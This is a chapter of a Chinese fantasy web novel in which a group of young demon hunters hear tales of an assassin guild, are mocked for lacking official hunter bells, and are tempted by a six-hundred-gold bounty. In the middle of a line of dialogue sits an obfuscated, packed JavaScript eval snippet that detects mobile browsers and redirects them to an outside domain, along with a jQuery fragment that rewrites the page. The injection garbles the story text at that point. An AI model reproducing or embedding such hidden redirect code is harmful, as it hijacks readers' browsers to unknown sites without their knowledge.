因为杀门中一杀二杀都更像是幕后的,只有三杀和四杀才是实际执行任务的杀手,所以有段时间三杀四杀像是竞争一般,每杀一个就会留下属于自己门派的印记,像是一种计数式的宣战,生怕被对方夺取了名头。 尤其是后来四杀出了个杀九,几乎吸引了所有人的目光,连三杀的存在都忽略了。 店小二讲故事讲得格外投入,越讲越起劲,将生杀门的过往细细地跟他们说道,好像他自己也是其中的一员,才能知道得这么详细。 “其实四杀和杀九没了之后,生杀门算是萧寂了一段时间。前不久他们才休养生息卷土重来,一来就到处抓人。你们看上去也不是本地人,在外面还是要多加小心。”店小二也许察觉到自己说得太多,耽误了客人们安静用餐,最后好心叮嘱了几句,将剩余的才全部摆放好便退下了。 夏听雪都有些听累了:“真是酣畅淋漓的故事会啊。” 关于生杀门的事,师兄师姐都知道一点,毕竟这个组织和修士算是对立面,其实力也不容小觑,势力广泛,几乎能与昆仑虚媲美。不过一个是正派宗门,一个是盘根交错的暗杀组织,张扬任性,草菅人命,不能混为一谈。 和昆仑虚不同的是,后者是捉妖师聚集在一起杀妖降魔,生杀门却是人和妖并存,且往往是吸纳一些妖怪为他们所用,控制这些人和妖去完成他们收受钱财利益后需要刺杀的目标。 和陆以恒雇凶杀妻时的那个利刀客类似,都是为了某些利益而□□,只不过利刀客是一些浪迹天涯的散客接些小买卖,生杀门确实盘根交错,深入各国各地的组织。 那日在朝阳谷抓到的莫莫几人说他们是南靖的探子时,温芙就曾疑心过他们是不是生杀门的人。 “闻了吓到了吧?”温芙发现闻了一句话也没说,一直低头吃东西。她担心闻了是被刚才店小二说的普通人也会被生杀门的人乱抓去拷打处刑给吓害怕了。 她温柔安抚:“放心,生杀门虽然杀人不眨眼,但一般不会乱动手。而且有我们在,你不会有事的。” 闻了闷闷地应了一声,仍然低着头。嘴里的饭菜寡淡无味,完全没法平复她波澜不安的心绪。好在身边人都没察觉到她这点不寻常的情绪,只当她是被店小二的话给唬住。 大师兄打量了她一会儿,悄悄掏出玉听在他新建的传讯群里发消息。 闻人心:小师妹是不是还在想刚刚那个骨簪?我看她好像还挺喜欢的。 夏听雪:有可能? 玉听震动两下,闻了扫了一眼,手指飞快打字传送出去。 闻了:师兄,我也在这里面。 闻人心:。 “哈哈,大家吃饱了,那我们就走吧?”大师兄收起玉听,抬头尬笑两声,一溜烟跑在前面。剩下几人慢步拿上行李跟着他到了一楼柜台,准备结账。 价格的确有些小贵,但是还能接受,毕竟南靖国这么强盛,这里的物价消费略高也是人之常情。闻人心细致地算了即便账单,生怕错漏一个多付冤枉钱,等确认无误后掏腰包付完钱,正要转身离开,旁边有几个客人也过来结账。 酒楼掌柜手指在算盘上拨了几下,声音轻快道:“几位是捉妖师,小店让利三成!收您十两。” 闻人心一愣,又走了过来,双目放光:“捉妖师吃饭能打折?” 掌柜点头:“是、是的,这是我们酒楼的规矩。” 身后的师弟师妹也走过来,站在闻人心身旁,他兴奋地指了指自己和其他人:“我们也是捉妖师,我刚刚已经付过了,那是不是该退我一点?” 然而掌柜却是扫了眼他们腰间,为难地笑:“抱歉,这、你们没有铃铛,我们只认有铃铛的捉妖师。” 五个人的目光看过去,果然,享受到优惠的几位客人身上都挂着他们熟悉的铃铛。 …… “这破铃铛,怎么走哪都能遇上。”几个人走出酒楼,都有些不高兴。夏听雪更是直接发泄出来,郁闷都写在脸上。 自打出谷,他们这些天几乎都要被人提醒一边铃铛的存在和象征意义。好像他们没有铃铛就称不上是捉妖师。 现在因为没铃铛,多花了钱吃饭,更是心里窝火。 几人刚吃饱,漫无目的地闲逛着消消食。刚吃了一顿昂贵的饭也不打算再花钱买东西,而且按照地图上的指示,有一枚魂核碎片就在会泽城内,于是他们就跟着人流乱走,准备等到差不多时候再去找间能歇脚的客栈,这期间先看看能不能好运正巧碰见魂核碎片的下落。 “那些人是干嘛的?”闻了指了指不远处聚集在一起的人群,他们似乎围着什么东西,叽叽喳喳议论个不停。 几人好奇地走过去,在外圈什么也看不见,只有个子鹤立鸡群的闻人心和裴知珩能大概看见一点。 “是个布告栏,上面贴了些告示。”裴知珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663409|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯腰,凑近闻了耳畔只告诉她。 旁边路人听到他们刚才的好奇,热心解答:“那是发给捉妖师看的公告,也算是赏金贴吧,上面会写哪家需要几级捉妖师捉妖,一般越大的妖怪赏金越多。喏,刚刚新出来的一个,给六百金。” ?!! 五个人都露出惊愕的表情,倒是让解答的路人吓了一跳。 六百金——这个数字实在是很难不让人心动。 要是有了这六百金,区区五十两的骨簪又算什么,只要小师妹想要,买个几十支簪子让她每天换着戴都没问题! 夏听雪拽了拽闻人心的衣袖,有些激动。 刚说话的路人扫了眼他们几人,又看看他们腰间空空如也,探头过来小声介绍:“我看几位脸色郁郁,这位小姑娘更是印堂发黑,要不要在下给你们卜上一卦,看看是不是有小妖邪作祟?三阶妖怪,不在话下!” 闻人心看见他撩开的衣服下面挂着一串青铜铃。 他摆手,然后从身侧拿出剑鞘,手腕抬了抬,让对方看得一清二楚。 “啊——”路人瞬间扫兴,“原来是同行啊。”然后他又一次看向他们腰间,啧啧两声:“连铃铛都没有,还是别来这晃悠了。告示上贴的这些可都是要真材实料的捉妖师才能接的。” …… 朝阳谷五人单单今天就已经频繁被人用类似的眼神打量腰间,并一次次被提醒他们没有铃铛。好像他们腰间没点东西就不应该出门似的。 这谷外的捉妖师怎么还有鄙视链!简直离谱! 又一次挫败,大家垂头丧气地离开告知栏周围,没再继续去凑热闹。 本来想着凭捉妖去挣点小钱也成了泡影。 温芙看气氛低迷,想宽慰大家:“也不一定。我们没有铃铛,当时陆以恒不是也来找我们捉妖?也许只是他们所认为的不成文规矩,我们也能去试一试。” 说来也是,陆以恒不就没有找那些挂了铃铛的捉妖师,说明这些人所说的只有佩戴铃铛才能去捉妖并不正确。 “真是生气!”夏听雪忍不住了,“上次那个谁在卫国的,不是说去什么镇妖司考评就能拿到铃铛吗!走,我们去考,不就是个铃铛,我非得给它挂我腰上!” 当时闻人心提出这个事,她还觉得完全是浪费时间,不屑一顾。眼下是再也忍不了了,既然都说要铃铛,那他们就去考,反正也不是什么困难的比拼。 剩下几人对此都没意见。 闻了也赞同,虽然她应该只能拿到一个最普通的黄铜铃,但是能凭这个再酒楼吃饭更便宜,她还是挺乐意的。 五个人很快又燃起斗志,准备问路朝着镇妖司去。 “几位侠士,等等。”半道从小巷子里走出来一个老头儿,身上穿着不凡,碎步走来拦住了他们。 老头儿摸摸胡子,眼睛眯成一条缝,笑呵呵道:“方才听几位也是捉妖师,不知道可否帮在下的主家一个小忙。” 这一幕似曾相识。 温芙问:“什么忙?” 老人家微微弓背,声音和缓:“抓个小妖,赏——” “六百金。”